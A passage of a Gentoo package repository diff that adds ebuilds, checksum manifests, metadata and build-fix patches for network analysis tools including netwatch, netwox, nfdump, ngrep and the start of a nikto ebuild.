+@@ -24,11 +29,8 @@
+ AC_CHECK_HEADERS(netinet/socket.h)
+ AC_CHECK_HEADERS(net/if.h)
+ AC_CHECK_HEADERS(net/if_ppp.h)
+-AC_CHECK_HEADERS(netinet/if_ether.h netinet/in.h ncurses.h ncurses/curses.h)
+-AC_CHECK_HEADERS(ncurses.h)
++AC_CHECK_HEADERS(netinet/if_ether.h netinet/in.h)
+ AC_CHECK_HEADERS(pthread.h)
+-AC_CHECK_HEADERS(ncurses/curses.h)
+-AC_CHECK_HEADERS(curses.h)
+ AC_CHECK_HEADERS(sys/if_packet.h)
+ AC_CHECK_HEADERS(linux/if_packet.h)
+ AC_CHECK_HEADERS(net/if_packet.h)
+@@ -45,20 +47,6 @@
+ fi
+ fi
+ fi
+-if test x$ac_cv_header_ncurses_curses_h = xyes; then
+- AC_DEFINE(NEWCURSES_SUPP)
+-else
+- if test x$ac_cv_header_ncurses_h = xyes; then
+- AC_DEFINE(NEWCURSESROOT_SUPP)
+- else
+- if test x$ac_cv_header_curses_h = xyes; then
+- AC_DEFINE(REGULARCURSES_SUPP)
+- else
+- AC_MSG_ERROR([There is no support for ncurses.h])
+- fi
+- fi
+-fi
+-
+ if test x$ac_cv_header_netinet_ip_h = xyes; then
+ AC_DEFINE(NETINET_SUPP_ip)
+ AC_EGREP_HEADER("ip_options",/usr/include/netinet/ip.h,is_opt=1,is_opt=0)
diff --git a/net-analyzer/netwatch/metadata.xml b/net-analyzer/netwatch/metadata.xml
new file mode 100644
index 000000000000..16276bd54d4c
--- /dev/null
+++ b/net-analyzer/netwatch/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<maintainer>
+<email>hwoarang@gentoo.org</email>
+<name>Markos Chandras</name>
+</maintainer>
+</pkgmetadata>
+
diff --git a/net-analyzer/netwatch/netwatch-1.3.0.1-r3.ebuild b/net-analyzer/netwatch/netwatch-1.3.0.1-r3.ebuild
new file mode 100644
index 000000000000..e5327328d873
--- /dev/null
+++ b/net-analyzer/netwatch/netwatch-1.3.0.1-r3.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils versionator
+
+MY_PV=$(replace_version_separator 3 '-')
+
+DESCRIPTION="Ethernet/PPP IP Packet Monitor"
+HOMEPAGE="http://www.slctech.org/~mackay/netwatch.html"
+SRC_URI="http://www.slctech.org/~mackay/NETWATCH/${PN}-${MY_PV}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~x86"
+IUSE="doc"
+
+RDEPEND="sys-libs/ncurses"
+DEPEND="
+ ${RDEPEND}
+ sys-kernel/linux-headers
+ virtual/pkgconfig
+"
+
+S=${WORKDIR}/${PN}-$(get_version_component_range 1-3)
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-append_ldflags.patch \
+ "${FILESDIR}"/${P}-open.patch \
+ "${FILESDIR}"/${P}-fix-fortify.patch \
+ "${FILESDIR}"/${P}-do-not-call.patch \
+ "${FILESDIR}"/${P}-includes.patch \
+ "${FILESDIR}"/${P}-tinfo.patch
+
+ eautoreconf
+}
+
+src_install() {
+ dosbin netresolv netwatch
+
+ doman netwatch.1
+ dodoc BUGS CHANGES README* TODO
+
+ if use doc; then
+ dohtml NetwatchKeyCommands.html
+ fi
+}
diff --git a/net-analyzer/netwox/Manifest b/net-analyzer/netwox/Manifest
new file mode 100644
index 000000000000..abb63cd6a951
--- /dev/null
+++ b/net-analyzer/netwox/Manifest
@@ -0,0 +1,2 @@
+DIST netwox-5.39.0-doc_html.tgz 146301 SHA256 430c5c53852005c8ab4012564b70bc78dceece573567b8babb9b09efd21365f3 SHA512 1bb6c87f2aeea8b10e9bec0725ed82b21c41290d2f2626024b13525fd92596e7aa9f91788d966a51900c0e1b346ac9fb30000344fa5b1450fe9ceb724df4be56 WHIRLPOOL 96272caaf6b5f77780507412cb6de7a89447c6e90bb0437e668b20891530ee8bdc2e1db282a44d2d66dbe063f9f5e0281f1d197c78915858dde9393916c86eaf
+DIST netwox-5.39.0-src.tgz 771942 SHA256 35eaabac4d11d6a2fa7001bd9c153e053e6080c5f5b66c37e463ad32e909fbfd SHA512 3781c1c860d1545c269b27a702c59f1cb6b12af2e66fb3cbe776f3e085681a75ed3096d64cfdf92f65eff7213ceaab474b7e15c169c12e2c05220790ce337e37 WHIRLPOOL 00b270e2cbad1542acff6c1a0fa40297e814ba513a6c5c36ea1a7e9a3f13cce1ad01b8902c6218f97e0cf659433bab9c6fbe2f817a8866042351e9c94a7f4576
diff --git a/net-analyzer/netwox/metadata.xml b/net-analyzer/netwox/metadata.xml
new file mode 100644
index 000000000000..3f4f876e43fc
--- /dev/null
+++ b/net-analyzer/netwox/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Toolbox of over 400 utilities for testing Ethernet/IP networks</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">ntwox</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/netwox/netwox-5.39.0.ebuild b/net-analyzer/netwox/netwox-5.39.0.ebuild
new file mode 100644
index 000000000000..2ad0b1cec80d
--- /dev/null
+++ b/net-analyzer/netwox/netwox-5.39.0.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# NOTE: netwib, netwox and netwag go together, bump all or bump none
+
+EAPI=5
+inherit multilib toolchain-funcs
+
+DESCRIPTION="Toolbox of 217 utilities for testing Ethernet/IP networks"
+HOMEPAGE="
+ http://ntwox.sourceforge.net/
+ http://www.laurentconstantin.com/en/netw/netwox/
+"
+SRC_URI="mirror://sourceforge/ntwox/${P}-src.tgz
+ doc? ( mirror://sourceforge/ntwox/${P}-doc_html.tgz )"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc x86"
+IUSE="doc"
+
+DEPEND="
+ net-libs/libnet:1.1
+ net-libs/libpcap
+ ~net-libs/netwib-${PV}
+"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/${P}-src/src
+
+src_prepare() {
+ sed -i \
+ -e 's:/man$:/share/man:g' \
+ -e "s:/lib:/$(get_libdir):" \
+ -e "s:/usr/local:/usr:" \
+ -e "s:=ar:=$(tc-getAR):" \
+ -e "s:=ranlib:=$(tc-getRANLIB):" \
+ -e "s:=gcc:=$(tc-getCC):" \
+ -e "s:-O2:${CFLAGS}:" \
+ config.dat || die
+ sed -i \
+ -e "s:-o netwox:& \${LDFLAGS}:g" \
+ -e 's: ; make: ; \\$(MAKE):g' \
+ genemake || die
+}
+
+src_configure() {
+ sh genemake || die
+}
+
+DOCS=(
+ "${WORKDIR}"/${P}-src/README.TXT
+ "${WORKDIR}"/${P}-src/doc/{changelog.txt,credits.txt}
+ "${WORKDIR}"/${P}-src/doc/{problemreport.txt,problemusageunix.txt,todo.txt}
+)
+
+src_install() {
+ default
+
+ use doc && dohtml -r "${WORKDIR}"/${P}-doc_html/*
+}
diff --git a/net-analyzer/nfdump/Manifest b/net-analyzer/nfdump/Manifest
new file mode 100644
index 000000000000..984951a37cd9
--- /dev/null
+++ b/net-analyzer/nfdump/Manifest
@@ -0,0 +1,3 @@
+DIST minilzo-2.07.tar.gz 60009 SHA256 b706cf02e8af2716a56830ca067cf2d7c0e305c776cb26bd760cd157ce73c928 SHA512 ff1604ab6e273208aa72218367c7acd6f262965ee8fa62091346851099df237af9e9fe61c29638b922ce020d5d6463a18b93a899299c0d96745135aad839c816 WHIRLPOOL 66ec8d7a87a75e218f052a30fc7afcd05f906a91641b85b83bcda79356819c390a71ceb9d71f1015e82791e1bd62f4f69cce68f3e4250dd6323a7a7d47b3c72a
+DIST nfdump-1.6.12.tar.gz 733604 SHA256 4b597c3c948b2ac1a4b0b11ffbdc5c8bab8835f14718ad0f7896daeaf7b89204 SHA512 4ff61c14746f34f47588545e58e4e2fa679cc107192cb81d4ece1b7e18ad9ae1d3ce7663b90a302a64a3cc72cdd55718a446c5323ac100ed5fc3601931d866ad WHIRLPOOL 7acbc624868802e73f1d67f0984bdbfd67e9c3d14679fde360be7fefbeeac18d884930802abb156b2a283796f690588c4a46bc12a3287f791b9c6e87f04b02ed
+DIST nfdump-1.6.13.tar.gz 662006 SHA256 251533c316c9fe595312f477cdb051e9c667517f49fb7ac5b432495730e45693 SHA512 92c21462cddc69b3551d0ed5c20c7b87e5b4e6438efcbc16aac0e8af45b8ec7e5a361c6e514effcf78c1e78fd892959e8f39bb08915d4daedf4b6e932303688d WHIRLPOOL a412164ff29d9e7a2864033a320ecc60789138097fb3c237b413a953cb7136330a0989f5402ac74c2261c6279675eea3bbf1450b4c6c03475e8ad2fe97cafefd
diff --git a/net-analyzer/nfdump/files/nfdump-1.6.12-test-dep.patch b/net-analyzer/nfdump/files/nfdump-1.6.12-test-dep.patch
new file mode 100644
index 000000000000..312809afe7a7
--- /dev/null
+++ b/net-analyzer/nfdump/files/nfdump-1.6.12-test-dep.patch
@@ -0,0 +1,11 @@
+--- a/bin/Makefile.am
++++ b/bin/Makefile.am
+@@ -5,6 +5,8 @@
+ check_PROGRAMMS = test.sh
+ TESTS = nftest test.sh
+
++test.sh: nfgen
++
+ if SFLOW
+ bin_PROGRAMS += sfcapd
+ endif
diff --git a/net-analyzer/nfdump/files/nfdump-1.6.13-libft.patch b/net-analyzer/nfdump/files/nfdump-1.6.13-libft.patch
new file mode 100644
index 000000000000..f6571505b965
--- /dev/null
+++ b/net-analyzer/nfdump/files/nfdump-1.6.13-libft.patch
@@ -0,0 +1,14 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -109,9 +109,8 @@
+ if test ! -f "$WHERE_FTPATH/include/ftlib.h"; then
+ AC_MSG_ERROR(ftlib.h file not found in flow-tools directory '$WHERE_FTPATH'. Use --with-ftpath=PATH)
+ fi
+- if test ! -f "$WHERE_FTPATH/lib/libft.a"; then
+- AC_MSG_ERROR(libft.a not found in flow-tools directory '$WHERE_FTPATH'. Build flow tools first)
+- fi
++ AC_CHECK_LIB([ft], [main],,
++ AC_MSG_ERROR(libft not found in flow-tools directory '$WHERE_FTPATH'. Build flow tools first))
+ FT_INCLUDES="-I$WHERE_FTPATH/include -I$WHERE_FTPATH/lib"
+ FT_LDFLAGS="-L$WHERE_FTPATH/lib"
+ else
diff --git a/net-analyzer/nfdump/metadata.xml b/net-analyzer/nfdump/metadata.xml
new file mode 100644
index 000000000000..d7261b287da6
--- /dev/null
+++ b/net-analyzer/nfdump/metadata.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="readpcap">Build nfcapd collector to read from pcap file instead ofnetwork data</flag>
+ <flag name="compat15">Enable read support for nfdump data files created with nfdump 1.5.x</flag>
+ <flag name="ftconv">Build the flow-tools to nfdump converter</flag>
+ <flag name="nfprofile">Build nfprofile used by NfSen</flag>
+ <flag name="nftrack">Build nfprofile used by PortTracker</flag>
+ <flag name="sflow">Build sflow collector sfcpad</flag>
+ </use>
+ <longdescription>The nfdump tools collect and process netflow data on the command line</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nfdump</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nfdump/nfdump-1.6.12.ebuild b/net-analyzer/nfdump/nfdump-1.6.12.ebuild
new file mode 100644
index 000000000000..b26d8d22249d
--- /dev/null
+++ b/net-analyzer/nfdump/nfdump-1.6.12.ebuild
@@ -0,0 +1,68 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P="${P/_/}"
+DESCRIPTION="A set of tools to collect and process netflow data"
+HOMEPAGE="http://nfdump.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/nfdump/${MY_P}.tar.gz
+ http://www.oberhumer.com/opensource/lzo/download/minilzo-2.07.tar.gz
+"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="compat15 debug ftconv nfprofile nftrack readpcap sflow"
+
+CDEPEND="
+ ftconv? ( sys-libs/zlib net-analyzer/flow-tools )
+ nfprofile? ( net-analyzer/rrdtool )
+ nftrack? ( net-analyzer/rrdtool )
+ readpcap? ( net-libs/libpcap )
+"
+DEPEND="
+ ${CDEPEND}
+ sys-devel/flex
+ virtual/yacc
+"
+RDEPEND="
+ ${CDEPEND}
+ dev-lang/perl
+"
+
+DOCS=( AUTHORS ChangeLog NEWS README )
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-test-dep.patch
+
+ # bug #515278
+ cp "${WORKDIR}"/minilzo-2.07/*.{c,h} "${S}"/bin || die
+
+ if use ftconv; then
+ sed -e '/ftbuild.h/d' -i bin/ft2nfdump.c || die
+ sed \
+ -e 's:lib\(/ftlib.h\):include\1:' \
+ -e 's:libft.a:libft.so:' \
+ \-i configure.in || die
+ fi
+ sed -i bin/Makefile.am -e '/^AM_CFLAGS/d' || die
+ eautoreconf
+}
+
+src_configure() {
+ # --without-ftconf is not handled well #322201
+ econf \
+ $(use ftconv && echo "--enable-ftconv --with-ftpath=/usr") \
+ $(use nfprofile && echo --enable-nfprofile) \
+ $(use nftrack && echo --enable-nftrack) \
+ $(use_enable compat15) \
+ $(use_enable debug devel) \
+ $(use_enable readpcap) \
+ $(use_enable sflow)
+}
diff --git a/net-analyzer/nfdump/nfdump-1.6.13.ebuild b/net-analyzer/nfdump/nfdump-1.6.13.ebuild
new file mode 100644
index 000000000000..4e2f70724cdd
--- /dev/null
+++ b/net-analyzer/nfdump/nfdump-1.6.13.ebuild
@@ -0,0 +1,58 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P="${P/_/}"
+DESCRIPTION="A set of tools to collect and process netflow data"
+HOMEPAGE="http://nfdump.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/nfdump/${MY_P}.tar.gz
+"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="compat15 debug ftconv nfprofile nftrack readpcap sflow"
+
+COMMON_DEPEND="
+ ftconv? ( sys-libs/zlib net-analyzer/flow-tools )
+ nfprofile? ( net-analyzer/rrdtool )
+ nftrack? ( net-analyzer/rrdtool )
+ readpcap? ( net-libs/libpcap )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ sys-devel/flex
+ virtual/yacc
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ dev-lang/perl
+"
+
+DOCS=( AUTHORS ChangeLog NEWS README )
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-libft.patch
+
+ sed -i bin/Makefile.am -e '/^AM_CFLAGS/d' || die
+
+ eautoreconf
+}
+
+src_configure() {
+ # --without-ftconf is not handled well #322201
+ econf \
+ $(use ftconv && echo "--enable-ftconv --with-ftpath=/usr") \
+ $(use nfprofile && echo --enable-nfprofile) \
+ $(use nftrack && echo --enable-nftrack) \
+ $(use_enable compat15) \
+ $(use_enable debug devel) \
+ $(use_enable readpcap) \
+ $(use_enable sflow)
+}
diff --git a/net-analyzer/ngrep/Manifest b/net-analyzer/ngrep/Manifest
new file mode 100644
index 000000000000..4cf97543cb5b
--- /dev/null
+++ b/net-analyzer/ngrep/Manifest
@@ -0,0 +1 @@
+DIST ngrep-1.45.tar.bz2 463361 SHA256 aea6dd337da8781847c75b3b5b876e4de9c58520e0d77310679a979fc6402fa7 SHA512 0feb4080f834449d57ae99897c573d2b8148711cfb550fa4ff415169dedb1f0d23f4b03f625660162ca72f8ad06e19874c1af46da6afd8f8fe8dd553558c14f7 WHIRLPOOL 5560c8b341ec9c1b322f0b0838470dfa8cf0b86fe44cb7619d5ed162753bab0f08bcea4ba17af96b01ab1a56311eb964dc87fa8c202a160d9ab1d578af6df924
diff --git a/net-analyzer/ngrep/files/ngrep-1.45-build-fixes.patch b/net-analyzer/ngrep/files/ngrep-1.45-build-fixes.patch
new file mode 100644
index 000000000000..9cde0f81926d
--- /dev/null
+++ b/net-analyzer/ngrep/files/ngrep-1.45-build-fixes.patch
@@ -0,0 +1,186 @@
+This patch fixes a number of problems with have with build:
+
+ * more clean cut off pcre library; we'll never use bundled pcre library, so
+ some autoconf added REGEX_LIBS to pass correct system libs and header change.
+
+ * We use AC_CONFIG_SUBDIRS to pass make autoconf reconfigure gnuregex library
+ - this way ./configure will be called correctly and correct comipler will be
+ selected automatically.
+
+ * With the previous change some modifications were required to make gnuregex
+ buildable: a) we should not overide CFLAGS in Makefile.in (as they together
+ with -DHAVE_CONFIG_H will be passed to gnuregex and it'll fail to build,
+ since no config.h exist) b) obvious way to remove warning "_GNU_SOURCE"
+ redefined
+
+ * also we don't pass $(MAKEFLAGS) since it caused us problems in the past (bug
+ #178684)
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -7,7 +7,8 @@
+
+ CC=@CC@
+
+-CFLAGS=@CFLAGS@ -D@OS@ @DEFS@ @EXTRA_DEFINES@
++# Never redefine CFLAGS, as it pollutes env and gnuregex build failes
++EXTRA_CFLAGS=@CFLAGS@ -D@OS@ @DEFS@ @EXTRA_DEFINES@
+ INCLUDES=-I@srcdir@ @PCAP_INCLUDE@ @EXTRA_INCLUDES@
+
+ LDFLAGS=@LDFLAGS@ @PCAP_LINK@
+@@ -34,25 +35,25 @@
+
+ REGEX_DIR=@REGEX_DIR@
+ REGEX_OBJS=@REGEX_OBJS@
+-
++REGEX_LIBS=@REGEX_LIBS@
+
+ all: $(TARGET)
+
+ $(TARGET): $(REGEX_OBJS) $(OBJS)
+- $(CC) $(CFLAGS) $(LDFLAGS) $(STRIPFLAG) -o $(TARGET) $(OBJS) $(REGEX_OBJS) $(LIBS)
++ $(CC) $(EXTRA_CFLAGS) $(LDFLAGS) -o $(TARGET) $(OBJS) $(REGEX_OBJS) $(REGEX_LIBS) $(LIBS)
+
+ debug: $(REGEX_OBJS) $(OBJS)
+- $(CC) $(CFLAGS) $(LDFLAGS) -g -o $(TARGET) $(OBJS) $(REGEX_OBJS) $(LIBS)
++ $(CC) $(EXTRA_CFLAGS) $(LDFLAGS) -g -o $(TARGET) $(OBJS) $(REGEX_OBJS) $(REGEX_LIBS) $(LIBS)
+
+ static: $(REGEX_OBJS) $(OBJS)
+- $(CC) $(CFLAGS) $(LDFLAGS) $(STRIPFLAG) -o $(TARGET).static -static $(OBJS) $(REGEX_OBJS) $(LIBS)
++ $(CC) $(EXTRA_CFLAGS) $(LDFLAGS) -o $(TARGET).static -static $(OBJS) $(REGEX_OBJS) $(REGEX_LIBS) $(LIBS)
+
+ install: $(TARGET)
+ $(INSTALL) -c -m 0755 $(TARGET) $(DESTDIR)/$(BINDIR_INSTALL)/$(TARGET)
+ $(INSTALL) -c -m 0644 $(MANPAGE) $(DESTDIR)/$(MANDIR_INSTALL)/$(MANPAGE)
+
+ .c.o:
+- $(CC) $(CFLAGS) $(INCLUDES) -g -c $<
++ $(CC) $(EXTRA_CFLAGS) $(INCLUDES) -g -c $<
+
+ clean:
+ make -C $(REGEX_DIR) clean
+@@ -63,7 +64,7 @@
+ rm -f config.status config.cache config.log config.h Makefile
+
+ $(REGEX_OBJS): $(REGEX_OBJS:.o=.c) $(REGEX_DIR)/*.h
+- $(MAKE) $(MAKEFLAGS) -C $(REGEX_DIR) $(notdir $(REGEX_OBJS))
++ $(MAKE) -C $(REGEX_DIR) $(notdir $(REGEX_OBJS))
+
+ $(OBJS): Makefile ngrep.c ngrep.h
+
+
+--- a/configure.in
++++ b/configure.in
+@@ -124,14 +124,16 @@
+ use_pcre="no"
+ ])
+
++REGEX_DIR=""
++REGEX_OBJS=""
++REGEX_LIBS=""
+ if test $use_pcre = yes; then
+
+ echo
+- echo 'Configuring Perl-Compatible Regular Expression (PCRE) library ...'
++ echo 'Using System Perl-Compatible Regular Expression (PCRE) library ...'
+ echo
+
+- REGEX_DIR='pcre-5.0'
+- REGEX_OBJS="$REGEX_DIR/pcre.o $REGEX_DIR/study.o"
++ REGEX_LIBS="`pcre-config --libs`"
+ USE_PCRE="1"
+
+ else
+@@ -144,12 +146,19 @@
+ REGEX_OBJS="$REGEX_DIR/regex.o"
+ USE_PCRE="0"
+
++ AC_CONFIG_SUBDIRS([regex-0.12])
++
++ echo
++ echo 'GNU Regular Expression library is configured...'
++ echo
++
+ fi
+
+-( cd $REGEX_DIR && ./configure )
+
+ AC_SUBST(REGEX_DIR)
+ AC_SUBST(REGEX_OBJS)
++AC_SUBST(REGEX_LIBS)
++
+
+
+ echo
+
+--- a/ngrep.c
++++ b/ngrep.c
+@@ -92,7 +92,7 @@
+ #endif
+
+ #if USE_PCRE
+-#include "pcre-5.0/pcre.h"
++#include <pcre.h>
+ #else
+ #include "regex-0.12/regex.h"
+ #endif
+
+--- a/regex-0.12/Makefile.in
++++ b/regex-0.12/Makefile.in
+@@ -18,23 +18,6 @@
+
+ version = 0.12
+
+-# You can define CPPFLAGS on the command line. Aside from system-specific
+-# flags, you can define:
+-# -DREGEX_MALLOC to use malloc/realloc/free instead of alloca.
+-# -DDEBUG to enable the compiled pattern disassembler and execution
+-# tracing; code runs substantially slower.
+-# -DEXTRACT_MACROS to use the macros EXTRACT_* (as opposed to
+-# the corresponding C procedures). If not -DDEBUG, the macros
+-# are used.
+-CPPFLAGS =
+-
+-# Likewise, you can override CFLAGS to optimize, use -Wall, etc.
+-CFLAGS = -g
+-
+-# Ditto for LDFLAGS and LOADLIBES.
+-LDFLAGS =
+-LOADLIBES =
+-
+ srcdir = @srcdir@
+ VPATH = @srcdir@
+
+@@ -43,7 +26,7 @@
+
+ SHELL = /bin/sh
+
+-subdirs = doc test
++subdirs =
+
+ default all:: regex.o
+ .PHONY: default all
+
+--- a/regex-0.12/configure.in
++++ b/regex-0.12/configure.in
+@@ -34,4 +34,4 @@
+
+ esac
+
+-AC_OUTPUT(Makefile doc/Makefile test/Makefile)
++AC_OUTPUT(Makefile)
+
+=== modified file 'regex-0.12/regex.c'
+--- a/regex-0.12/regex.c
++++ b/regex-0.12/regex.c
+@@ -34,7 +34,9 @@
+ #pragma alloca
+ #endif
+
++#ifndef _GNU_SOURCE
+ #define _GNU_SOURCE
++#endif
+
+ /* We need this for `regex.h', and perhaps for the Emacs include files. */
+ #include <sys/types.h>
+
diff --git a/net-analyzer/ngrep/files/ngrep-1.45-prefix.patch b/net-analyzer/ngrep/files/ngrep-1.45-prefix.patch
new file mode 100644
index 000000000000..8618f5daae31
--- /dev/null
+++ b/net-analyzer/ngrep/files/ngrep-1.45-prefix.patch
@@ -0,0 +1,17 @@
+* refrain from doing an absolutely insane check (to see if pcap is
+ installed in more than one place)
+
+--- a/configure.in
++++ b/configure.in
+@@ -268,10 +268,7 @@
+
+ AC_MSG_CHECKING(for a complete set of pcap headers)
+
+-possible_dirs="`eval echo -n ${includedir}` \
+- /usr/include /usr/include/pcap \
+- /usr/local/include /usr/local/include/pcap \
+- /usr/share/include /usr/share/include/pcap"
++possible_dirs="`eval echo -n ${includedir}`"
+
+ AC_ARG_WITH(pcap-includes,
+ [ --with-pcap-includes specify the pcap include directory],
diff --git a/net-analyzer/ngrep/files/ngrep-1.45-setlocale.patch b/net-analyzer/ngrep/files/ngrep-1.45-setlocale.patch
new file mode 100644
index 000000000000..8789e5b8c76b
--- /dev/null
+++ b/net-analyzer/ngrep/files/ngrep-1.45-setlocale.patch
@@ -0,0 +1,23 @@
+Call setlocale to make isprint() decide what's printable depending
+on the current locale. See bugs.debian.org/307496 .
+
+--- a/ngrep.c
++++ b/ngrep.c
+@@ -97,6 +97,8 @@
+ #include "regex-0.12/regex.h"
+ #endif
+
++#include <locale.h>
++
+ #include "ngrep.h"
+
+
+@@ -195,6 +197,8 @@
+ signal(SIGWINCH, update_windowsize);
+ #endif
+
++ setlocale(LC_ALL, "");
++
+ while ((c = getopt(argc, argv, "LNhXViwqpevxlDtTRMs:n:c:d:A:I:O:S:P:F:W:")) != EOF) {
+ switch (c) {
+ case 'W': {
diff --git a/net-analyzer/ngrep/metadata.xml b/net-analyzer/ngrep/metadata.xml
new file mode 100644
index 000000000000..1c87217ecd40
--- /dev/null
+++ b/net-analyzer/ngrep/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>jpr5+gentoo@darkridge.com</email>
+ <name>Jordan Ritter</name>
+ <description>Program author who would like to be notified of bugs</description>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">ngrep</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ngrep/ngrep-1.45-r3.ebuild b/net-analyzer/ngrep/ngrep-1.45-r3.ebuild
new file mode 100644
index 000000000000..c8b8271d7ed5
--- /dev/null
+++ b/net-analyzer/ngrep/ngrep-1.45-r3.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils user
+
+DESCRIPTION="A grep for network layers"
+HOMEPAGE="http://ngrep.sourceforge.net/"
+SRC_URI="mirror://sourceforge/ngrep/${P}.tar.bz2"
+
+LICENSE="ngrep"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 s390 sh sparc x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~ppc-macos"
+IUSE="ipv6"
+
+DEPEND="
+ dev-libs/libpcre
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+DOCS=(
+ doc/CHANGES.txt
+ doc/CREDITS.txt
+ doc/README.txt
+ doc/REGEX.txt
+)
+
+src_prepare() {
+ # Remove bundled libpcre to avoid occasional linking with them
+ rm -r pcre-5.0 || die
+
+ epatch \
+ "${FILESDIR}"/${P}-build-fixes.patch \
+ "${FILESDIR}"/${P}-setlocale.patch \
+ "${FILESDIR}"/${P}-prefix.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable ipv6) \
+ --disable-pcap-restart \
+ --enable-pcre \
+ --with-dropprivs-user=ngrep \
+ --with-pcap-includes="${EPREFIX}"/usr/include/pcap
+}
+
+pkg_preinst() {
+ enewgroup ngrep
+ enewuser ngrep -1 -1 -1 ngrep
+}
diff --git a/net-analyzer/nikto/Manifest b/net-analyzer/nikto/Manifest
new file mode 100644
index 000000000000..58a51de9c222
--- /dev/null
+++ b/net-analyzer/nikto/Manifest
@@ -0,0 +1,2 @@
+DIST nikto-1.36.tar.gz 206921 SHA256 a5c7f10e73b3ab9d262732a1377902589a7cde268666db892cc59f4b00e1bedc
+DIST nikto-2.1.5.tar.bz2 311580 SHA256 65b99c1fdec14d1d5e7cbc964f70fce162cbec50aee878e1500e2d22df079b34 SHA512 623b0fa923c05ecc4b69087321b544941f09b4d84fb7a32f6970e2ea42b2018f2c4e2d1cd0fabfc1c99a2ca7b57fd8c0d9f5f13c86e7eb102f00bdfd3062a95f WHIRLPOOL c4b15484b3fcb9df9219743cc138073b9b24673cf1e20d066dd632da3dc8aa0ac21d5cd7bc5e012a8bfea8d75fc82d25d85fd37e0038bf9c217e8437eb2cea0d
diff --git a/net-analyzer/nikto/metadata.xml b/net-analyzer/nikto/metadata.xml
new file mode 100644
index 000000000000..1470e032181b
--- /dev/null
+++ b/net-analyzer/nikto/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/nikto/nikto-1.36.ebuild b/net-analyzer/nikto/nikto-1.36.ebuild
new file mode 100644
index 000000000000..be40238112e1
--- /dev/null
+++ b/net-analyzer/nikto/nikto-1.36.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+DESCRIPTION="Web Server vulnerability scanner"
+HOMEPAGE="http://www.cirt.net/Nikto2"
+SRC_URI="http://www.cirt.net/source/nikto/ARCHIVE/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc sparc x86"
+RDEPEND="dev-lang/perl
+ >=net-analyzer/nmap-3.00
+ ssl? ( dev-libs/openssl )"
+IUSE="ssl"
+
+src_compile() {
+ sed -i -e 's:config.txt:nikto.conf:' \
+ -i -e 's:\$CFG{configfile}="nikto.conf":\$CFG{configfile}="/etc/nikto/nikto.conf":' \
+ nikto.pl
+
+ mv config.txt nikto.conf
+
+ sed -i -e 's:^#NMAP:NMAP:' \
+ -i -e 's:^PROXYHOST:#PROXYHOST:' \
